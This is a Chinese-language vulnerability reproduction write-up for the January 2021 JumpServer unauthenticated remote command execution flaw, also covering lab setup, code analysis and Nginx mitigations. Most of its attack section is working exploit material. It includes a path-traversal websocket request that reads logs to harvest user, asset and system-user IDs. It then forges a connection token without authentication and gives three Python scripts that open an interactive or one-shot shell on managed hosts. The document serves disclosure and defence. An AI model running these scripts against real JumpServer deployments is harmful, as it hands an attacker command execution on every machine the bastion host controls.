简介
JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。
组件 介绍:
Jumpserver
现指 Jumpserver 管理后台,是核心组件 (Core), 使用 Django Class Based View 风格开发,支持 Restful API。
Coco
实现了 SSH Server 和 Web Terminal Server 的组件,提供 SSH 和 WebSocket 接口, 使用 Paramiko 和 Flask 开发。
Luna
现在是 Web Terminal 前端,计划前端页面都由该项目提供,Jumpserver 只提供 API,不再负责后台渲染html等。
Guacamole
Apache 跳板机项目,Jumpserver 使用其组件实现 RDP 功能,Jumpserver 并没有修改其代码而是添加了额外的插件,支持 Jumpserver 调用
漏洞概述
2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。建议相关用户尽快采取措施阻止漏洞攻击。
利用流程
1.通过ws连接jumpserver的未授权api,进行日志读取 获取三个id值 (system_id,target_id,system_user_id)
2.利用 /api/v1/authentication/connection-token/?user-only=1 获取token (此token 20s内有效)
3.通过ws 连接 /koko/ws/token/?target_id 带入刚刚获取的token_id 进行执行命令
影响版本
JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < v2.4.5 JumpServer = v1.5.9
环境搭建
安装JumpServer v2.6.1
安装脚本https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
要求Centos 7 系统,内存8G以上,cpu 2核以上
或者执行官网脚本
curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh | bash
解压缩后执行
默认即可(不引用外部redis,mysql)
进入/opt/jumpserver-installer-v2.6.2,执行
如下图为执行正常
降级到v2.6.1,执行
1
./jmsctl.sh upgrade v2.6.1
其他命令:
1 2 3 4
./jmsctl.sh stop ./jmsctl.sh restart ./jmsctl.sh backup ./jmsctl.sh upgrade
web后台
1 2
http://127.0.0.1:8080 https://127.0.0.1:8443
ssh/sftp访问
相关资料:
https://docs.jumpserver.org
https://www.jumpserver.org
访问web端
http://127.0.0.1:8080
admin/admin
先随便创建一台同网段的Linux虚拟机192.168.132.131,然后添加到资产列表中,通过web端访问后才能获取三个id值
创建系统用户
更新管理用户
资产列表添加主机
资产授权
打开web终端
脚本复现
脚本1
1、运行脚本获取到asset、system_user、user三个ID值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
import osimport asyncioimport aioconsoleimport websocketsimport requestsimport json url = "/api/v1/authentication/connection-token/?user-only=1" async def send_msg (websocket, _text ): if _text == "exit" : print(f'you have enter "exit", goodbye' ) await websocket.close(reason="user exit" ) return False await websocket.send(_text) async def send_loop (ws, session_id ): while True : cmdline = await aioconsole.ainput() await send_msg( ws, json.dumps( {"id" : session_id, "type" : "TERMINAL_DATA" , "data" : cmdline + "\n" } ), ) async def recv_loop (ws ): while True : recv_text = await ws.recv() ret = json.loads(recv_text) if ret.get("type" , "TERMINAL_DATA" ): await aioconsole.aprint(ret["data" ], end="" ) async def main_logic (): print("#######start ws" ) async with websockets.connect(target) as client: recv_text = await client.recv() print(f"{recv_text} " ) session_id = json.loads(recv_text)["id" ] print("get ws id:" + session_id) print("###############" ) print("init ws" ) print("###############" ) inittext = json.dumps( { "id" : session_id, "type" : "TERMINAL_INIT" , "data" : '{"cols":164,"rows":17}' , } ) await send_msg(client, inittext) await asyncio.gather(recv_loop(client), send_loop(client, session_id)) if __name__ == "__main__" : host = "http://192.168.132.130:8080" cmd = "whoami" if host[-1 ] == "/" : host = host[:-1 ] print(host) data = {"user" : "61ec790f-b47b-4cb5-b598-548a559ba44e" , "asset" : "90e76a94-e014-495a-80e4-81c2e01de480" , "system_user" : "8bdae30c-dada-4676-90fe-797941d569cd" } print("##################" ) print("get token url:%s" % (host + url,)) print("##################" ) res = requests.post(host + url, json=data) token = res.json()["token" ] print("token:%s" % (token,)) print("##################" ) target = ( "ws://" + host.replace("http://" , "" ) + "/koko/ws/token/?target_id=" + token ) print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic())
1
GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e
2、将asset,system_user,user三个ID值放入下面脚本,Getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
import osimport asyncioimport aioconsoleimport websocketsimport requestsimport json url = "/api/v1/authentication/connection-token/?user-only=1" def get_celery_task_log_path (task_id ): task_id = str (task_id) rel_path = os.path.join(task_id[0 ], task_id[1 ], task_id + ".log" ) path = os.path.join("/opt/jumpserver/" , rel_path) return path async def send_msg (websocket, _text ): if _text == "exit" : print(f'you have enter "exit", goodbye' ) await websocket.close(reason="user exit" ) return False await websocket.send(_text) async def send_loop (ws, session_id ): while True : cmdline = await aioconsole.ainput() await send_msg( ws, json.dumps( {"id" : session_id, "type" : "TERMINAL_DATA" , "data" : cmdline + "\n" } ), ) async def recv_loop (ws ): while True : recv_text = await ws.recv() ret = json.loads(recv_text) if ret.get("type" , "TERMINAL_DATA" ): await aioconsole.aprint(ret["data" ], end="" ) async def main_logic (): print("#######start ws" ) async with websockets.connect(target) as client: recv_text = await client.recv() print(f"{recv_text} " ) session_id = json.loads(recv_text)["id" ] print("get ws id:" + session_id) print("###############" ) print("init ws" ) print("###############" ) inittext = json.dumps( { "id" : session_id, "type" : "TERMINAL_INIT" , "data" : '{"cols":164,"rows":17}' , } ) await send_msg(client, inittext) await asyncio.gather(recv_loop(client), send_loop(client, session_id)) if __name__ == "__main__" : host = "http://192.168.132.130:8080" cmd = "whoami" if host[-1 ] == "/" : host = host[:-1 ] print(host) data = {"user" : "61ec790f-b47b-4cb5-b598-548a559ba44e" , "asset" : "90e76a94-e014-495a-80e4-81c2e01de480" , "system_user" : "8bdae30c-dada-4676-90fe-797941d569cd" } print("##################" ) print("get token url:%s" % (host + url,)) print("##################" ) res = requests.post(host + url, json=data) token = res.json()["token" ] print("token:%s" , (token,)) print("##################" ) target = ( "ws://" + host.replace("http://" , "" ) + "/koko/ws/token/?target_id=" + token ) print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic())
成功连接到某一台资产192.168.132.131
脚本2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163
import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None" async def send_msg (websocket,_text ):if _text == "exit" :print(f'you have enter "exit", goodbye' ) await websocket.close(reason="user exit" )return False await websocket.send(_text)recv_text = await websocket.recv() print(f"{recv_text} " ) async def main_logic (cmd ):print("#######start ws" ) async with websockets.connect(target) as websocket:recv_text = await websocket.recv() print(f"{recv_text} " ) resws=json.loads(recv_text) id = resws['id' ]print("get ws id:" +id ) print("###############" ) print("init ws" ) print("###############" ) inittext = json.dumps({"id" : id , "type" : "TERMINAL_INIT" , "data" : "{\"cols\":164,\"rows\":17}" }) await send_msg(websocket,inittext)for i in range (20 ):recv_text = await websocket.recv() print(f"{recv_text} " ) print("###############" ) print("exec cmd: ls" ) cmdtext = json.dumps({"id" : id , "type" : "TERMINAL_DATA" , "data" : cmd+"\r\n" }) print(cmdtext) await send_msg(websocket, cmdtext)for i in range (20 ):recv_text = await websocket.recv() print(f"{recv_text} " ) print('#######finish' ) if __name__ == '__main__' :try :import syshost=sys.argv[1 ] cmd=sys.argv[2 ] if host[-1 ]=='/' :host=host[:-1 ] print(host) data = {"user" : "4320ce47-e0e0-4b86-adb1-675ca611ea0c" , "asset" : "ccb9c6d7-6221-445e-9fcc-b30c95162825" , "system_user" : "79655e4e-1741-46af-a793-fff394540a52" }print("##################" ) print("get token url:%s" % (host + url,)) print("##################" ) res = requests.post(host + url, json=data) token = res.json()["token" ] print("token:%s" , (token,)) print("##################" ) target = "ws://" + host.replace("http://" , '' ) + "/koko/ws/token/?target_id=" + token print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(cmd)) except :print("python jumpserver.py http://192.168.1.73 whoami" )
手工复现
插件下载:
https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related
插件验证websocket未授权
url:ws://192.168.132.130:8080/ws/ops/tasks/log/
Request:{"task":"/opt/jumpserver/logs/jumpserver"}
查看Task id的一些信息(看不到密码)
获取到Task id为d4025be3-c3b6-49ca-87c6-97472450f08f
Request:{"task":"d4025be3-c3b6-49ca-87c6-97472450f08f"}
1 2 3
{"task":"d4025be3-c3b6-49ca-87c6-97472450f08f"} {"message": "\r\n"} {"message": "2021-01-25 16:40:03 \u4efb\u52a1\u5f00\u59cb: \u6d4b\u8bd5\u8d44\u4ea7\u53ef\u8fde\u63a5\u6027: test(192.168.132.131)\r\r\nPLAY [\u6d4b\u8bd5\u8d44\u4ea7\u53ef\u8fde\u63a5\u6027: test(192.168.132.131)] *****************************************\r\r\nTASK [ping] ********************************************************************\r\r\n\u001b[0;32mok: [test]\u001b[0m\r\r\n2021-01-25 16:40:15 \u4efb\u52a1\u7ed3\u675f\r\r\n.\r\n\r\n.\r\r\nTask assets.tasks.asset_connectivity.test_asset_connectivity_manual[d4025be3-c3b6-49ca-87c6-97472450f08f] succeeded in 13.248451138999826s: (True, '')\r\r\n", "task": "d4025be3-c3b6-49ca-87c6-97472450f08f"}
验证未授权存在。
获取 asset_id,system_user_id,user_id
1 2
ws://10.91.198.20:8989/ws/ops/tasks/log/ {"task":"/opt/jumpserver/logs/gunicorn"} or {"task":"/../../../../../../../../../../../..//opt/jumpserver/logs/gunicorn"}
得到
1
"system_user": "8bdae30c-dada-4676-90fe-797941d569cd", "user": "61ec790f-b47b-4cb5-b598-548a559ba44e", "asset": "90e76a94-e014-495a-80e4-81c2e01de480"
获取token
1 2 3 4 5 6 7 8 9 10
POST /api/v1/users/connection-token/?user-only=1 HTTP/1.1 Host: 192.168.132.130:8080 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.25.1 Content-Length: 152 Content-Type: application/json {"system_user": "8bdae30c-dada-4676-90fe-797941d569cd", "user": "61ec790f-b47b-4cb5-b598-548a559ba44e", "asset": "90e76a94-e014-495a-80e4-81c2e01de480"}
获取到token:
1
{"token":"f1126d5d-6437-4aeb-a7f0-da5c9e76c5b7"}
有效期只有20s
Py-Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import requestsimport jsondata={"user" : "61ec790f-b47b-4cb5-b598-548a559ba44e" , "asset" : "90e76a94-e014-495a-80e4-81c2e01de480" , "system_user" : "8bdae30c-dada-4676-90fe-797941d569cd" } url_host='http://192.168.132.130:8080' proxies={'http' :'http://127.0.0.1:8080' } def get_token (): url = url_host+'/api/v1/users/connection-token/?user-only=1' response = requests.post(url, json=data,proxies=proxies).json() print(response) return response['token' ] get_token()
获取响应的通讯ID
ws://192.168.132.130:8080/koko/ws/token/?target_id=f1126d5d-6437-4aeb-a7f0-da5c9e76c5b7
之后通过临时token 进行ws的访问,进而命令执行。
三个值在日志中体现如下:
1、在docker中的core中gunicorn.log文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
[root@www jumpserver] CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES d622578bafab jumpserver/nginx:alpine2 "sh -c 'crond -b -d …" About an hour ago Up About an hour (healthy) 0.0.0.0:8080->80/tcp, 0.0.0.0:8443->443/tcp jms_nginx 1027e9f8f2ec jumpserver/guacamole:v2.6.1 "/init" About an hour ago Up About an hour (healthy) 8080/tcp jms_guacamole 23f1a02bfd9d jumpserver/core:v2.6.1 "./entrypoint.sh sta…" About an hour ago Up About an hour (healthy) 8070/tcp, 8080/tcp jms_celery fceeb00ef925 jumpserver/luna:v2.6.1 "/docker-entrypoint.…" About an hour ago Up About an hour (healthy) 80/tcp jms_luna f9dbd7a214a1 jumpserver/koko:v2.6.1 "./entrypoint.sh" About an hour ago Up About an hour (healthy) 0.0.0.0:2222->2222/tcp, 5000/tcp jms_koko de0493c1c684 jumpserver/lina:v2.6.1 "/docker-entrypoint.…" About an hour ago Up About an hour (healthy) 80/tcp jms_lina b58ecd6cd3d8 jumpserver/core:v2.6.1 "./entrypoint.sh sta…" About an hour ago Up About an hour (healthy) 8070/tcp, 8080/tcp jms_core 72599fc5b96e jumpserver/redis:6-alpine "docker-entrypoint.s…" 3 days ago Up 3 hours (healthy) 6379/tcp jms_redis c2cecdd822bc jumpserver/mysql:5 "docker-entrypoint.s…" 3 days ago Up 3 hours (healthy) 3306/tcp, 33060/tcp jms_mysql [root@www jumpserver] root@b58ecd6cd3d8:/opt/jumpserver apps data entrypoint.sh logs release tmp config_example.yml Dockerfile jms README_EN.md requirements utils config.yml docs LICENSE README.md run_server.py Vagrantfile root@b58ecd6cd3d8:/opt/jumpserver root@b58ecd6cd3d8:/opt/jumpserver/logs ansible.log celery_heavy_tasks.log gunicorn.log beat.log celery_node_tree.log jumpserver.log celery_ansible.log daphne.log unexpected_exception.log celery_check_asset_perm_expired.log drf_exception.log celery_default.log flower.log root@b58ecd6cd3d8:/opt/jumpserver/logs 192.168.250.6 [25/Jan/2021:17:03:58 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12 192.168.250.6 [25/Jan/2021:17:03:58 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12 192.168.250.6 [25/Jan/2021:17:04:22 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12 192.168.250.6 [25/Jan/2021:17:44:13 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12 192.168.250.6 [25/Jan/2021:18:02:16 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=90e76a94-e014-495a-80e4-81c2e01de480&cache_policy=1&system_user_id=8bdae30c-dada-4676-90fe-797941d569cd&user_id=61ec790f-b47b-4cb5-b598-548a559ba44e HTTP/1.1" 200 12 root@b58ecd6cd3d8:/opt/jumpserver/logs
2、
代码分析
查看代码修改记录
1、查看单个文件
https://github.com/jumpserver/jumpserver/blob/master/apps/authentication/api/auth.py
2、查看历史记录
将github.com替换为github.githistory.xyz
3、查看修改日期2021-01-14
https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py
https://github.com/jumpserver/jumpserver/commit/db6f7f66b2e5e557081cb561029f64af0a1f80c4
代码调用逻辑
web终端地方存在相关token操作的js
1 2 3 4 5 6 7 8 9
let wsURL = baseWsUrl + '/koko/ws/terminal/?' + urlParams.toString(); switch (urlParams.get("type")) { case 'token': wsURL = baseWsUrl + "/koko/ws/token/?" + urlParams.toString(); break default: } ws = new WebSocket(wsURL, ["JMS-KOKO"]); term = createTerminalById(elementId)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
func (s *server) websocketHandlers(router *gin.RouterGroup) { #web终端地方存在相关token操作的js的对应服务端/ws/token 路由 wsGroup := router.Group("/ws/") wsGroup.Group("/terminal").Use( s.middleSessionAuth()).GET("/", s.processTerminalWebsocket) wsGroup.Group("/elfinder").Use( s.middleSessionAuth()).GET("/", s.processElfinderWebsocket) wsGroup.Group("/token").GET("/", s.processTokenWebsocket) } func (s *server) processTokenWebsocket(ctx *gin.Context) { #判断是否有token,并查询相应的token对应的参数并运行虚拟终端 tokenId, _ := ctx.GetQuery("target_id") tokenUser := service.GetTokenAsset(tokenId) if tokenUser.UserID == "" { logger.Errorf("Token is invalid: %s", tokenId) ctx.AbortWithStatus(http.StatusBadRequest) return } currentUser := service.GetUserDetail(tokenUser.UserID) if currentUser == nil { logger.Errorf("Token userID is invalid: %s", tokenUser.UserID) ctx.AbortWithStatus(http.StatusBadRequest) return } targetType := TargetTypeAsset targetId := strings.ToLower(tokenUser.AssetID) systemUserId := tokenUser.SystemUserID s.runTTY(ctx, currentUser, targetType, targetId, systemUserId) }
浏览器体现方式
修复方式
官方修复方式:
https://blog.fit2cloud.com/?p=1761
将JumpServer升级至安全版本;
临时修复方案:
修改 Nginx 配置文件屏蔽漏洞接口
1 2 3 4 5
/api/v1/authentication/connection-token/ /api/v1/users/connection-token/
Nginx 配置文件位置
1 2 3 4 5 6 7 8
# 社区老版本 /etc/nginx/conf.d/jumpserver.conf # 企业老版本 jumpserver-release/nginx/http_server.conf # 新版本在 jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# 保证在 /api 之前 和 / 之前 location /api/v1/authentication/connection-token/ { return 403; } location /api/v1/users/connection-token/ { return 403; } # 新增以上这些 location /api/ { proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://core:8080; } ...
修改完成后重启 nginx
1 2 3 4 5
docker方式: docker restart jms_nginx nginx方式: systemctl restart nginx
修复验证
1 2 3 4 5
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh # 使用方法 bash jms_bug_check.sh HOST $ bash jms_bug_check.sh demo.jumpserver.org 漏洞已修复
FROM :b0urne.top | Author:b0urne
评论